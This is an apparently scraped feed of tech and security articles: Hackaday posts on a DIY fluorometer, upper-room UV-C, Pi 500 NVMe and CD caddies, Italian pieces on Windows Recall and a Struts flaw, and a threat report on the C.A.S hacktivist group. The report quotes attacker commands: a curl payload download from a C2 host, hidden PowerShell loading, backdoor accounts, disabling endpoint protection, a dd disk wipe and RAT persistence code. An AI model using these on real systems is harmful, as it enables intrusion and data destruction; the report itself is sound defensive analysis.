Back in the bad old days, dealing with DNA and RNA in a lab setting was often fraught with peril. Detection technologies were limited to radioisotopes and hideous chemicals like ethidium bromide, a cherry-red solution that was a fast track to cancer if accidentally ingested. It took time, patience, and plenty of training to use them, and even then, mistakes were commonplace.

Luckily, things have progressed a lot since then, and fluorescence detection of nucleic acids has become much more common. The trouble is that the instruments needed to quantify these signals are priced out of the range of those who could benefit most from them. That’s why [Will Anderson] et al. came up with DIYNAFLUOR, an open-source nucleic acid fluorometer that can be built on a budget. The chemical principles behind fluorometry are simple — certain fluorescent dyes have the property of emitting much more light when they are bound to DNA or RNA than when they’re unbound, and that light can be measured easily. DIYNAFLUOR uses 3D-printed parts to hold a sample tube in an optical chamber that has a UV LED for excitation of the sample and a TLS2591 digital light sensor to read the emitted light. Optical bandpass filters clean up the excitation and emission spectra, and an Arduino runs the show.

The DIYNAFLUOR team put a lot of effort into making sure their instrument can get into as many hands as possible. First is the low BOM cost of around $40, which alone will open a lot of opportunities. They’ve also concentrated on making assembly as easy as possible, with a solder-optional design and printed parts that assemble with simple fasteners. The obvious target demographic for DIYNAFLUOR is STEM students, but the group also wants to see this used in austere settings such as field research and environmental monitoring. There’s a preprint available that shows results with commercial fluorescence nucleic acid detection kits, as well as detailing homebrew reagents that can be made in even modestly equipped labs.

hackaday.com/2024/12/18/simple…

This week and next we take off for the holidays! We have an exciting schedule after the break, so stay tuned!

youtube.com/embed/3NWvKm6fIg8?…

Did you know you can watch the live recording of the show Right on our YouTube Channel? Have someone you’d like us to interview? Let us know, or contact the guest and have them contact us! Take a look at the schedule here.

play.libsyn.com/embed/episode/…

Direct Download in DRM-free MP3.

Places to follow the FLOSS Weekly Podcast:

• Spotify
• RSS

Theme music: “Newer Wave” Kevin MacLeod (incompetech.com)

Licensed under Creative Commons: By Attribution 4.0 License

hackaday.com/2024/12/18/floss-…

2020 saw the world rocked by widespread turmoil, as a virulent new pathogen started claiming lives around the globe. The COVID-19 pandemic saw a rush on masks, air filtration systems, and hand sanitizer, as terrified populations sought to stave off the deadly virus by any means possible.

Despite the fresh attention given to indoor air quality and airborne disease transmission, there remains one technology that was largely overlooked. It’s the concept of upper-room UV sterilization—a remarkably simple way of tackling biological nastiness in the air.

Warm Glowing Killing Glow

Upper-room UV systems sound kind of like science-fiction technology. They nuke nasty pathogens in the air, and do it while emitting a faint and weird-colored glow. In reality, they’ve been quietly hanging around for about 80 years. The idea is straightforward enough—you just shine UV-C light in the unused overhead zone of a room to zap airborne pathogens before they get inhaled by fragile humans!
Upper-room UV sterilization keeps the harmful UV-C light away from the occupants in the room. Credit: CDC
The concept came about as a direct result of 19th-century research that determined sunlight inhibited the growth of undesirable microbes and pathogens. Later work determined that light in the UV-C range of wavelengths is remarkably good at killing both bacteria and viruses, making it ideal for sterilizing purposes. The UV-C range is from 100 to 280 nanometers, but peak sterilizing action occurs around the 250-270 nm range. The primary method of action is that the UV-C light creates defects in DNA molecules that kill or inactivate microscopic organisms, including bacteria and viruses. It’s perfect for tackling all sorts of nasties, from measles to SARS to TB.

Unfortunately, that also means that UV-C light isn’t always safe to use around humans. Just as it hurts microbes, this light is also harmful to our skin and eyes in exactly the same way. Indeed, a prime example of this was a 2023 event that allegedly accidentally used UV sterilization lamps as decorative blacklights. While UV-C light is used in a wide range of sterilization applications, most keep the light hidden or localized to avoid direct human exposure.

Upper-room UV-C installations are particularly interesting, though, for their simplicity. To avoid dangerous exposures, these installations simply place the sterilizing lamps up high in a room and direct their light into the upper level of air. As long as the UV light output is directed into the top level of the room, well above the heads of any occupants, it can sterilize the air effectively with little risk of harm.
UV-C lamps typically have peak output at 254 nm, but they also output some light in the visual spectrum that gives them a characteristic green glow—as seen on this Phillips wall-mount unit. Credit: Phillips
For this reason, these systems are typically installed in places like schools, hospitals and other public buildings, where ceiling heights are high enough to make such installations safe. CDC guidelines suggest minimum ceiling heights must be at least 8 feet for these installations, though 8.5 feet is preferred. For most people, that’s high enough not to cause trouble, but if you’re one of the taller players in the NBA, you might want to take note.

Upper-room UV systems treat a massive volume of air simply by sectioning the room into a germ-killing overhead zone and a safer lower zone where people breathe. Natural convection, HVAC currents, and even a simple ceiling fan help keep the air circulating upward, doused by the UV field, and then returned to the lower portion, scrubbed clean. At least a minimal level of circulation is required in order to ensure all the air in a given room is being treated. Power levels required are relatively low. A 2015 study suggested a total output of just 15-20 milliwatts is enough per cubic meter of room volume, assuming adequate air mixing in the space.

Ultimately, though, proper sizing and safe installation are critical for creating an effective and safe sterilization system. UV-C is safe enough when used properly, but get it wrong, and you’ll see plenty of sore eyes and red skin almost immediately. The key is blocking direct and reflected UV light from reaching the lower zone of the room. Louvered fixtures with carefully aimed beams are necessary in rooms with lower ceilings, while more open fixtures are more for lofty spaces where they can blast UV upward without frying everyone’s eyeballs. Proper metering must be done at the time of installation to ensure light concentration is high enough in the sterilization region, and below safety limits in the occupied region. It’s also important to ensure the lamps are switched off for maintenance or if anyone is entering the upper zone of the room for any reason.

It might sound high-tech, but this approach predates modern pandemics by decades. It was already showing its effectiveness against diseases like measles and tuberculosis as far back as the 1930s and 1940s. Early success was found at Duke University in 1936, where post-surgical infections were cut from 11.62% to just 0.24% with the use of an operating room eqiupped with UV-C equipment. Later, a 1941 study determined that UV-C delivered by mercury-vapor lamps had drastically reduced measles transmission in classrooms.
This installation used bare UV-C bulbs, directing them with louvers or hiding them in a perforated sub-ceiling. Note the eerie green glow. Credit: research paper
Given its efficacy, you might think that upper room UV-C installations would be everywhere. Subways, airports, schools, hospitals, and malls could all benefit from this technology. However, it would require some investment and ongoing maintenance, and it seems that simple cost is too much to bear.

For whatever reason, upper-room UV remains an obscure technology, seldom discussed and rarely used. Here we are, after countless deadly airborne disease outbreaks, still largely ignoring a century-old technology that actually works. The simplicity is staggering—slap a UV fixture on the wall near the ceiling, tune it so that zero harmful light hits the occupants, and let it run. It’s not a silver bullet for all air quality concerns, and you still need ventilation, of course. But for dealing with nasty airborne pathogens? It’s hard to imagine an easier solution than upper-room UV. The only real question left is, why aren’t we using it everywhere?

Featured image by the US CDC.

hackaday.com/2024/12/18/upper-…

With the recent teardown of the Raspberry Pi 500, there were immediately questions raised about the unpopulated M.2 pad and related traces hiding inside. As it turns out, with the right parts and a steady hand it only takes a bit of work before an NVMe drive can be used with the RP500, as [Jeff Geerling] obtained proof of. This contrasts with [Jeff]’s own attempt involving the soldering on of an M.2 slot, which saw the NVMe drive not getting any power.
The four tiny coupling capacitors on the RP500’s PCIe traces. (Source: Jeff Geerling)
The missing ingredients turned out to be four PCIe coupling capacitors on the top of the board, as well as a source of 3.3 V. In a pinch you can make it work with a bench power supply connected to the pads on the bottom, but using the bottom pads for the intended circuitry would be much neater.

This is what [Samuel Hedrick] pulled off with the same AP3441SHE-7B as is used on the Compute Module 5 IO board. The required BOM for this section which he provides is nothing excessive either, effectively just this one IC and required external parts to make it produce 3.3V.

With the added cost to the BOM being quite minimal, this raises many questions about why this feature (and the PoE+ feature) were left unpopulated on the PCB.

Featured image: The added 3.3v rail on the Raspberry Pi 500 PCB. (Credit: Samuel Hedrick)

hackaday.com/2024/12/18/enabli…

These days, very few of us use optical media on the regular. If we do, it’s generally with a slot-loading console or car stereo, or an old-school tray-loader in a desktop or laptop. This has been the dominant way of using consumer optical media for some time.

Step back to the early CD-ROM era, though, and things were a little kookier. Back in the late 1980s and early 1990s, drives hit the market that required the use of a bulky plastic caddy to load discs. The question is—why did we apparently need caddies then, and why don’t we use them any longer?

Caddyshack

Early CD players, like this top-loading Sony D-50, didn’t use caddies. Credit: Binarysequence, CC BY-SA 4.0
The Compact Disc, as developed by Phillips and Sony, was first released in 1982. It quickly became a popular format for music, offering far higher fidelity than existing analog formats like vinyl and cassettes. The CD-ROM followed in 1985, offering hundreds of megabytes of storage in an era when most hard drives barely broke 30 MB. The discs used lasers to read patterns of pits and lands from a reflective aluminum surface, encased in tough polycarbonate plastic. Crucially, the discs featured robust error correction techniques so that small scratches, dust, or blemishes wouldn’t stop a disc from working.

Notably, the first audio CD player—the Sony CDP-101—was a simple tray-loading machine. Phillips’ first effort, the CD100, was a top-loader. Neither used a caddy. Nor did the first CD-ROM drives—the Phillips CM100 was not dissimilar from the CD100, and tray loaders were readily available too, like the Amdek Laserdrive-1.
Sony had the most popular design for CD caddies. Manufacturers including Hitachi, Apple, and Toshiba used the same design. Credit: Pysky, CC BY-SA 3.0
So where did caddies come from? The concept had existed prior to CDs, most notably for the failed Capacitance Electronic Disc format created by RCA. Those discs were highly susceptible to problems with dust, so they were kept in caddies for their protection. For CDs, the caddy wasn’t a necessity—the plastic optical discs were robust enough to be handled directly. And yet, in the late 1980s, caddy CD-ROM drives started to become the norm in the nascent market, with Apple and Sony perhaps the most notable early adopters.
Apple’s early drives—both internal and external—relied on caddies. Credit: All About Apple Museum, CC-BY-SA-2.5-it
The basic concept of the caddy is fairly obvious by its design. Various non-compatible versions existed from different manufacturers, but the intent was the same. The CD itself was placed in a plastic case with some kind of sliding shutter. This case protected the CD from scratches, dust, smudges, and other contaminants. When it was placed in a drive, the shutter would slide or rotate out of the way, allowing access for the optical head to read the disc.

For many early applications, CD-ROMs were very much an archival format. They offered long-term storage, were non-writable, and had huge capacity. They were perfect for creating digital encyclopedias, with a single disc able to replace a stack of bound volumes that would take up a whole shelf. They were also perfect for commercial or industry use, where large databases or reference volumes could be stored in a far smaller format than ever before.
Plenty of reference materials were delivered via CD-ROM, and they didn’t come cheap—as per this Sony catalog from 1991.
In these cases, though, it’s important to remember that CDs were quite expensive. For example, in 1986, a copy of Grolier’s Academic Encyclopedia would cost $199—or roughly $570 in today’s money. As robust as CDs were, it was at times desirable to protect such an investment with the added safety and security of a caddy. This was particularly useful in library, school, and business contexts, too, where end users couldn’t always be relied upon to use the discs gently.

Caddies also offered another side benefit of particular use to the radio industry. They made it very quick and easy to change discs, easing the work of on-air DJs as they cued up songs. Compare the ease of slamming in a cartridge, versus extracting a disc from a jewel case and gently placing it in a tray-loading drive. Under the pressure of a live broadcast, it’s clear to see the benefit of the caddy design. Particularly as sloppy handling would quickly damage discs that were on heavy rotation.

Caddies made sense at a time when the CDs and their content were incredibly expensive. They also made sense for professional media and corporate users. However, for the consumer, they quickly became a frustration rather than a boon.
This 8x caddy-loading CD-ROM drive was built by NEC. Credit: Derell Licht, Attribution-NoDerivs (CC BY-ND 2.0)
The problem for home users was simple. Caddies added a certain level of expense that became less justified as the price of CD-ROM titles came down. The intent was that users would have a caddy for each disc in their collection, protecting the CDs and making them easy to load. However, many home users only had one or a handful of caddies. This meant users were often swapping discs from caddy to caddy, with the repetitive manual handling negating any benefit of the caddies in the first place. It quickly became an unwelcome chore for owners of caddy-loading drives.

As is the way, the market soon responded. By the late 1990s, caddy-based CD drives had mostly disappeared from the consumer market in favor of more convenient, caddy-free drives. Customers wanted easy-to-use drives, and they had no desire to put up with fussy plastic cases that were ultimately unnecessary. Tray-loaders became the norm for most CD-ROM applications, with slot loaders becoming more popular as a fancier option in some premium hardware.
Caddy CD players were popular in the radio world. Credit: via eBay
Caddies did persist, but in more niche contexts. Standards like Mini Disc and UMD relied on integral, non-removable caddies, because Sony could never quite let go of the idea. Similarly, some early DVD-RAM drives relied on caddies too, as have various high-capacity optical archive standards. In these applications, caddies were chosen for two reasons—they were there to protect media that was either particularly delicate, valuable, or both. In the vast majority of cases, the caddy became an integral part of the media—rather than an external cart which discs could be swapped into and out of.

Caddy-based CD drives represent a transitional period in the early days of optical media. The lines between serious archival users and home users were blurred, and nobody quite knew where the technology was going. They highlight a period when engineers and manufacturers were still exploring the best methods build reliable drives that best met their users needs. From a consumer perspective, these protective devices are now curious relics in the post-optical era—a reminder of when laser-based media was on the absolute cutting edge of technology. How times have changed.

hackaday.com/2024/12/18/why-di…

Microsoft sta testando ancora una volta la funzionalità Recall, il cui rilascio era stato precedentemente ritardato a causa di problemi di privacy e sicurezza. Recall è attualmente disponibile solo per i membri del programma Windows Insiders, ma gli utenti hanno già notato dei problemi: la funzione salva numeri di carte bancarie, numeri di previdenza sociale e altre informazioni sensibili, anche quando è vietata.

Come funziona Windows Recall

Ricordiamo che Recall è stato introdotto a maggio 2024. La funzionalità è pensata per aiutare a “ricordare” qualsiasi informazione che l’utente ha visualizzato in passato, rendendola accessibile tramite una semplice ricerca. Pertanto, Recall, che doveva essere abilitato per impostazione predefinita su tutti i nuovi PC Copilot+, scatta un’istantanea della finestra attiva sullo schermo ogni pochi secondi, registrando tutto ciò che accade in Windows, sia che si visiti i siti Web in un browser, comunicando in modo istantaneo. messenger o lavorare con altre applicazioni.

Le immagini risultanti vengono elaborate dalla Neural Processing Unit (NPU) del dispositivo e da un modello AI per estrarre i dati dagli screenshot. Le informazioni vengono quindi archiviate nel database e gli utenti possono effettuare ricerche nella cronologia utilizzando query nella loro lingua madre.

Subito dopo il suo annuncio, Recall è stato pesantemente criticato sia dagli esperti di sicurezza che dai difensori della privacy. Gli esperti hanno paragonato la funzione a un keylogger e hanno dimostrato che con esso si possono rubare dati. In risposta a queste critiche, Microsoft ha ritardato il lancio di Recall e ha affermato che avrebbe fornito ulteriore sicurezza rendendo la funzionalità opzionale e crittografando il database in modo che sia inaccessibile finché l’utente non viene autenticato utilizzando Windows Hello.

L’esperimento di Tom’s Hardware

Secondo Tom’s Hardware, Recall è recentemente diventato di nuovo disponibile per i membri del programma Windows Insiders. La funzione ora dovrebbe crittografare i dati e viene fornita con l’impostazione Filtra informazioni sensibili abilitata per impostazione predefinita, progettata per bloccare la registrazione di app e siti che potrebbero visualizzare numeri di carte bancarie, numeri di previdenza sociale e altre informazioni finanziarie e personali. Tuttavia, i giornalisti hanno scoperto che questo filtro non sempre funziona.

Pertanto, Recall ha catturato con successo il testo dal Blocco note con un nome utente, una password e un numero di carta bancaria casuali, sebbene accanto ad esso fosse scritto il nome della banca e del sistema di pagamento (“Capital One Visa”).

Allo stesso modo, Recall ha ignorato le impostazioni e ha acquisito i dati da una richiesta di prestito completata in formato PDF, aperta in Microsoft Edge. Il documento conteneva un numero di previdenza sociale, nome e data di nascita.

Una funzionalità ancora da migliorare

Anche la creazione di una semplice pagina HTML che diceva direttamente “Inserisci il numero della tua carta di credito” e forniva campi per inserire il numero della carta, il codice CVC e la data di scadenza della carta non ha aiutato ad attivare il filtro. Recall ha catturato e salvato con successo tutti i dati inseriti nel modulo.

Allo stesso tempo, la nuova funzione Microsoft ha rifiutato di acquisire i dati delle carte bancarie dopo aver visitato le pagine di pagamento di due negozi online: Pimoroni e Adafruit. Cioè, per i siti commerciali reali il filtro funzionava ancora.

“Cioè, quando si trattava di veri siti commerciali, Recall ha fatto tutto bene. Tuttavia, il mio esperimento mostra che è quasi impossibile per il filtro AI di Microsoft rilevare tutte le situazioni in cui vengono visualizzate informazioni sensibili sullo schermo ed evitare di catturarle. I miei esempi sono stati pensati per testare un filtro, ma questi non sono casi affatto rari. Le persone inseriscono informazioni personali sensibili nei moduli PDF. Registrano, copiano e incollano i dati in file di testo, quindi li inseriscono in siti che non assomigliano ai tipici siti di negozi”, afferma Avram Piltch, redattore capo di Tom’s Hardware.

Quando la pubblicazione ha contattato i rappresentanti di Microsoft per un commento, la società ha risposto con un collegamento a un post sul blog dedicato a Recall. Dice che gli sviluppatori “stanno continuando a migliorare questa funzionalità” e consiglia di segnalarlo tramite Hub di feedback se trovi informazioni sensibili che dovrebbero essere filtrate.

Allo stesso tempo, Pilch osserva che i dati catturati da Recall sono ora effettivamente crittografati (la forza di questa crittografia sarà sicuramente verificata dai ricercatori di sicurezza) e l’accesso ad essi richiede l’autenticazione tramite Windows Hello. Secondo lui gli screenshot vengono salvati in una sottocartella chiamata AsymStore e non possono essere aperti come PNG, BMP o JPG.

“È possibile che gli hacker riescano a capire come aprire questi file, ma per quanto ne so, l’utente medio non sarà in grado di aprirli al di fuori dell’app Recall”, conclude Pilch.

L'articolo Windows Recall Salva i Dati Delle Carte Di Credito nelle immagini proviene da il blog della sicurezza informatica.

La vulnerabilità critica recentemente risolta in Apache Struts 2 (CVE-2024-53677) viene già utilizzata attivamente dagli hacker e viene attaccata utilizzando exploit proof-of-concept pubblici.

La scorsa settimana, gli sviluppatori Apache hanno reso pubblico il bug critico CVE-2024-53677 (punteggio CVSS 9,5). È stato segnalato che si trattava di un attacco path traversal nel caricamento dei file, consentendo il caricamento di file dannosi (come le shell Web), portando all’esecuzione di codice remoto.

La vulnerabilità colpisce le versioni Struts 2.0.0-2.3.37 (versione obsoleta), 2.5.0-2.5.33 e 6.0.0-6.3.0.2.

“Un utente malintenzionato può manipolare le impostazioni di caricamento dei file per ottenere l’attraversamento del percorso e, in determinate circostanze, ciò potrebbe comportare il caricamento di un file dannoso che può essere utilizzato per l’esecuzione di codice in modalità remota”, hanno scritto gli sviluppatori.

Questa vulnerabilità è simile al vecchio bug CVE-2023-50164 si ritiene che sia dovuta a una correzione inefficace o incompleta.

Gli specialisti dell’ISC SANS stanno già segnalando tentativi di sfruttamento del nuovo problema. Secondo loro, gli aggressori sembrano utilizzare exploit PoC disponibili al pubblico o esserne notevolmente “ispirati”.

Attualmente, gli aggressori mirano a identificare i sistemi vulnerabili utilizzando un exploit per scaricare il file exploit.jsp, che contiene una singola riga di codice per stampare la stringa “Apache Struts”. L’exploit tenta quindi di accedere allo script e verificare che il server sia affetto dal bug o meno.

Si consiglia agli utenti di aggiornare Struts alla versione 6.4.0 il prima possibile e di passare al nuovo meccanismo di caricamento dei file. Il punto è che installare semplicemente una patch non è sufficiente: il codice responsabile della gestione del caricamento dei file nelle applicazioni Struts deve essere riscritto per utilizzare il nuovo meccanismo Action File Upload.

“Continuando a utilizzare il vecchio meccanismo di caricamento file, rimani vulnerabile a tali attacchi”, avverte l’azienda.

L'articolo Struts2: Un Path Traversal porta al caricamento di una Web Shell. La caccia è già iniziata! proviene da il blog della sicurezza informatica.

Does “Pix or it didn’t happen” apply to traveling to the edge of space on a balloon-lofted solar observatory? Yes, it absolutely does.

The breathtaking views on this page come courtesy of IRIS-2, a compact imaging package that creators [Ramón García], [Miguel Angel Gomez], [David Mayo], and [Aitor Conde] recently decided to release as open source hardware. It rode to the edge of space aboard Sunrise III, a balloon-borne solar observatory designed to study solar magnetic fields and atmospheric plasma flows.

To do that the observatory needed a continual view of the Sun over an extended period, so the platform was launched from northern Sweden during the summer of 2024. It rose to 37 km (23 miles) and stayed aloft in the stratosphere tracking the never-setting Sun for six and a half days before landing safely in Canada.

Strictly speaking, IRIS-2 wasn’t part of the primary mission, at least in terms of gathering solar data. Rather, the 5 kg (11 pound) package was designed to provide engineering data about the platform, along with hella cool video of the flight. To that end, it was fitted with four GoPro cameras controlled by an MPS340 microcontroller. The cameras point in different directions to capture all the important action on the platform, like the main telescope slewing to track the sun, as well as details of the balloon system itself.

The controller was programmed to record 4K video at 30 frames per second during launch and landing, plus fifteen minutes of 120 FPS video during the balloon release. The rest of the time, the cameras took a single frame every two minutes, which resulted in some wonderful time-lapse sequences. The whole thing was powered by 56 AA batteries, and judging by the video below it performed flawlessly during the flight, despite the penetrating stratospheric cold and blistering UV exposure.

Hats off to the IRIS-2 team for this accomplishment. Sure, the videos are a delight, but this is more than just eye candy. Seeing how the observatory and balloon platform performed during flight provides valuable engineering data that will no doubt improve future flights.

youtube.com/embed/CKWAjiNBPxo?…

hackaday.com/2024/12/18/catchi…

About C.A.S

C.A.S (Cyber Anarchy Squad) is a hacktivist group that has been attacking organizations in Russia and Belarus since 2022. Besides data theft, its goal is to inflict maximum damage, including reputational. To this end, the group’s attacks exploit vulnerabilities in publicly available services and make extensive use of free tools.

Our latest investigation unearthed new activity by the group, explored the attack stages, and analyzed the tools and malware used. In addition, we discovered links between C.A.S and other hacktivist groups, such as the Ukrainian Cyber Alliance and DARKSTAR.

Like most hacktivist groups, C.A.S uses Telegram as a platform to spread information about victims. We found a channel that posts news and messages about the group’s attacks and ideology, as well as a chat hosting a discussion of its activities.

C.A.S on Telegram

Note: this post examines active Telegram channels that we presume to be run by hacktivist groups. Use these sources with caution.

Tactics

This section analyzes the attack chain as per the MITRE ATT&CK framework, as well as the tools we found in the current C.A.S campaign.

Initial Access

C.A.S gains initial access to targeted systems by means of the Exploit Public-Facing Application technique (T1190). The attackers compromise Jira, Confluence and Microsoft SQL Server services using vulnerabilities that we were unable to identify due to the data storage limitations of the attacked segment. However, our analysis of the group leader’s messages in the C.A.S Telegram channel suggests that the hacktivists do not use phishing emails as an initial attack vector. Instead, they likely attack vulnerable network resources or gain access to systems after their compromise by third parties.

Messages from the C.A.S leader known as The Way

Translation:
But I need them to let us into the network mole/fishers

The aim of the C.A.S group is to inflict maximum financial and reputational damage on organizations in Russia and Belarus. In pursuit of this goal, they likely exploit vulnerabilities not only in Jira, Confluence and MS SQL, but in other publicly available services and systems too. What’s more, we are aware of attacks carried out by C.A.S in collaboration with other groups, which is another way they gain initial access and move through victims’ infrastructure.

Message about the group’s methods of gaining initial access

Translation:
but our method is to technically break through the outer perimeter, and those organizations that we need here and now often prefer to maintain 1 site, 2–3 reliable services and not poke around the network once again. so you set yourself the task to hack the company N. naturally, this is done through phishing, but unfortunately, we simply don’t have any fishers in our squad, and our arsenal is not designed for beacon flooding, but for exploits

Execution

To move further through the infrastructure, the threat actors used rare open-source remote access Trojans (RATs), including Revenge RAT and Spark RAT, which we have not seen in attacks by other hacktivists. These utilities allowed them to remotely control the infected systems and execute various commands.

In one incident, we detected the use of a compromised MS SQL service to execute commands in cmd. This was indicated by the cmd.exe process running as a child process of sqlservr.exe.

The attackers also used PowerShell to execute scripts:
powershell.exe -ex bypass -f \\[DOMAIN]\netlogon\rm.ps1
On top of this, the attackers downloaded the Meterpreter reverse shell for the Metasploit framework from the C2 server to the infected host using the cURL tool:
"$system32\cmd.exe",""$system32\cmd.exe" /c cd %appdata% && dir && curl -O
hxxp://185.117.75[.]3:8092/sdc.exe
In some reverse shell incidents, we also found traces of Revenge RAT (48210CA2408DC76815AD1B7C01C1A21A) being run through the PowerShell process:
powershell.exe -WindowStyle Hidden -NoExit -Command
[System.Reflection.Assembly]::LoadFile('C:\Users\<username>\Downloads\
<exe_name>.exe').EntryPoint.Invoke($null, @())

Persistence

To gain persistence in the system, the threat actors created accounts on compromised hosts using the net.exe utility:
C:\Windows\system32\cmd.exe" /c net user admin cas /add
C:\Windows\system32\cmd.exe" /c net user admin admin123123123 /add
It’s worth noting that they used the password
cas for the admin account, matching the name of the group.
We also found samples of Revenge RAT that had gained persistence in the system by adding registry keys to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
try {
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
true);
try {
if (!((string)((registryKey != null) ? registryKey.GetValue("\"" +
Path.GetFileNameWithoutExtension(Program._installName) + "\"") : null) == text) &&
registryKey != null) {
registryKey.SetValue(fileNameWithoutExtension, "\"" + text + "\"");
}
} catch {
if (registryKey != null) {
registryKey.SetValue(fileNameWithoutExtension, "\"" + text + "\"");
}
}
if (registryKey != null) {
registryKey.Dispose();
}
}
internal static string _installName = "rpchost.exe";
These Trojan samples were additionally copied to the Startup folder:
File.Copy(Application.ExecutablePath, "C:\\Users\\" + Environment.UserName +
"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" +
Program._installName);

internal static string _ip = "194.36.188.94";
internal static string _installName = "svhost.exe";
During execution, one of the above RAT samples (FC3A8EABD07A221B478A4DDD77DDCE43) created a watchdog timer file called svxhost.exe in the C:\Windows\System32 directory, wrote information to this file, created the NgcMngrSvc service with svxhost.exe as an executable file, and ran this service.

[HandleProcessCorruptedStateExceptions]private static void CreateWatchdog() {
Program.hService = Helper.OpenService(Program.hSCM, "NgcMngrSvc", 4);
if (Program.hService == IntPtr.Zero) {
try {
File.WriteAllBytes(Program.system + "svxhost.exe",
Program.GetResource("dog"));
} catch {
}
Program.hService = Helper.CreateService(Program.hSCM, "NgcMngrSvc", "Microsoft
Passport Manager", 983551, 16, 2, 0, Program.system + "svxhost.exe", null, IntPtr.Zero,
null, null, null);
}
Helper.StartService(Program.hService, 0, null);
}

Defense Evasion

During our incident investigations, we often noted that the attackers gained full control over information security tools because these were not properly configured. To implement effective anti-attack measures, it is vital to perform regular testing, updating and integration of security systems. A key factor in securing infrastructure is compliance with password-protection policies for access to the information security systems.

In one of the incidents, C.A.S managed to disable an EPP agent without a password, using the rm.ps1 script.
$guidQuery = wmic product where "[redacted]" get IdentifyingNumber
$guid = $guidQuery | Select-String -Pattern "{[A-F0-9-]+}" | ForEach-Object {
$_.Matches[0].Value }

if ($guid -ne $null) {
$msiexecCommand2 = "msiexec.exe /x $guid /quiet"
Start-Process -NoNewWindow -FilePath cmd -ArgumentList "/c $msiexecCommand2"
}
The final command to disable the EPP agent was this:
cmd.exe /c msiexec.exe /x {GUID} /quiet
Also, as part of the Defense Evasion technique, the attackers use Revenge RAT to add the $windir\$system32 directory to the Windows Defender exclusion list. This allows the group to hide its activity, because the RAT itself and its malicious payload are both installed in this folder.
"\"$windir\\$system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -WindowStyle Hidden -
Command \"Add-MpPreference -ExclusionPath '$windir\\$system32'\""
And to further reduce the likelihood of detection, the attackers use a malware naming convention that mimics legitimate Windows processes:
C:\Windows\System32\svxhost.exe
C:\Windows\System32\svrhost.exe
C:\Windows\System32\drivers\etc\rpchost.exe
C:\Windows\panther\ssbyt.exe

Credential Access

In our study of hacktivist groups (Twelve, BlackJack, Head Mare, Crypt Ghouls and others), we often encountered the use of the same credential extraction tools, namely XenAllPasswordPro, BrowserThief and Mimikatz. These tools have long been known in the community and regularly feature in our crimeware reports.

• XenAllPasswordPro extracts passwords from system storages.
• BrowserThief compromises browser data, including autofill data and saved accounts.
• Mimikatz extracts password hashes from Windows RAM.

C.A.S is no exception: we found these tools in their attacks as well. This is yet further proof that hacktivist groups attacking Russia and Belarus tend to deploy the same arsenal of publicly available utilities.

Discovery

At the infrastructure exploration stage, the attackers made active use of various commands to collect information. Here’s a list of the commands we logged:

The Revenge RAT samples also ran WMI queries to collect information about the operating system and CPU to be sent to the attackers’ command-and-control (C2) server:
SELECT * FROM Win32_OperatingSystem
SELECT UserName FROM Win32_ComputerSystem
SELECT * FROM WIN32_Processor

Command and Control

To communicate with the C2 server, C.A.S uses various tools. We saw the use of reverse shells generated by the msfvenom tool for the Metasploit framework, as well as publicly available RATs.

Revenge RAT

The attackers first used Revenge RAT to establish a connection to the C2 server, then downloaded and installed the necessary payloads of various frameworks; they also collected data about the infected host and sent it to the server.

We found two similar customized samples of Revenge RAT in the attacks we investigated. Below is a full list of functions found in these variants:

The configuration files for these samples are also similar:

Spark RAT

As mentioned above, the group used another remote access Trojan called Spark RAT. Below is its configuration:
{
  "secure":false,
  "host":"185.117.75.3",
  "port":9610,
  "path":"/",
  "uuid":"3917b41****",
  "key":"aa494c90****"
}
From the IP address specified in the configuration, the attackers downloaded the Meterpreter payload to the victim’s device.

Alongside this, Spark RAT automatically collects and sends the following system information to the C2 server:

Spark RAT provides the operator with a wide range of commands to control the target device. These commands allow both basic operations (such as PING to check client availability, SHUTDOWN to turn off the device, and RESTART to reboot it) as well as more complex ones, such as remote file management (FILES_LIST, FILES_FETCH, FILES_UPLOAD), terminal interaction (TERMINAL_INIT, TERMINAL_INPUT, TERMINAL_RESIZE) and remote desktop access (DESKTOP_INIT, DESKTOP_SHOT). Also available to the operator are commands to manage processes (PROCESSES_LIST, PROCESS_KILL) and execute system commands (COMMAND_EXEC).

Meterpreter

In one of the incidents, we found a Meterpreter reverse shell (6CBC93B041165D59EA5DED0C5F377171). Using this, the group was able to gain full access to the compromised system and do the following:

1. Remotely manage the file system;
2. Intercept network traffic;
3. Log keystrokes;
4. Extract password hashes;
5. Perform pivoting techniques through compromised hosts;
6. Monitor the webcam and microphone.

The reverse shell contains the following C2 server address and port:
185.117.75[.]35:4444

Impact

To cause damage to victims, the group encrypts their infrastructure. As we’ve noted before in similar hacktivist attacks, the threat actors’ arsenal consists of leaked LockBit ransomware builders for Windows systems and Babuk for Linux systems. In the majority of C.A.S attacks, encrypted file extensions are generated randomly; but sometimes the number 3119 appears both in the name of the executable file of the ransomware Trojan, and in the extensions added to encrypted files. This number often crops up in C.A.S activity — we see it in usernames, ransom notes, encrypted file extensions and group-related merchandise. It is not a random sequence of digits, but represents the positions of the letters C, A, and S in the alphabet: C is 3, A is 1 and S is 19.

One of the group’s ransomware samples is named 3119.exe. In our investigation of a C.A.S attack involving this sample, we found a ransom note displayed after file encryption in the system:

C.A.S ransom note

Besides encryption, the attackers can destroy data in different segments of the victim’s network or on specific servers. To do this, they first collect information about attached drives using the df system utility:
df -h
Then, to destroy the data, they use the dd system utility, which executes /dev/zero — a file that generates an endless stream of null bytes. The attackers copy null bytes from /dev/zero to the /dev/[VOLUME] partition of their choice in 4 MB blocks. This overwrites the data in the partition with zeros, wiping it forever.
dd if=/dev/zero of=/dev/[VOLUME] bs=4M
This operation allows the attackers to irreversibly destroy data on the victim’s servers.

On Telegram, the perpetrators often confirm their destructive impact on victims’ infrastructure. In their posts, they describe what they did and attach screenshots with the results of their operations. Which part of the infrastructure to encrypt and which to destroy immediately is the attackers’ choice: it depends on the situation.

Public chat message from C.A.S

Translation:
Context: these servers have been down for 3 days, one was erased (namely the volumes with data), the second was encrypted (only the directories with data). Today they were wiped to the root.

Victims

C.A.S targets companies from Russia and Belarus in various industries, including government and commercial organizations, entertainment and technology firms, telecommunications companies and industrial enterprises. This suggests that victims are chosen based on their location, regardless of their field of activity.

The group often writes about its victims on Telegram, posting screenshots of infrastructure, stolen documents and links to cloud storages or forums offering stolen data for download.

Connections to other groups

